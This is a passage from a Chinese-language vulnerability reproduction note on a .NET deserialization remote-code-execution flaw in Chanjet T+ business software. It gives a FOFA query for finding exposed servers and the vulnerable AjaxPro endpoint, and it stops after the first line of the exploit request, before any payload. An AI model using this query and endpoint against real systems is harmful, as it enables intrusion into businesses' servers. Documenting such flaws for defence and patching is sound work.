文章目录 漏洞描述 资产测绘 漏洞复现 漏洞描述 畅捷通T+是一种新型的互联网企业管理软件,能够全面满足不断成长的小微企业对灵活业务流程的管控需求。它主要解决了成交往来业务、订单追踪、资金管理和库存等方面的管理难题。该产品存在.net反序列化可导致RCE。 资产测绘 FOFA:app="畅捷通-TPlus" 漏洞复现 POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1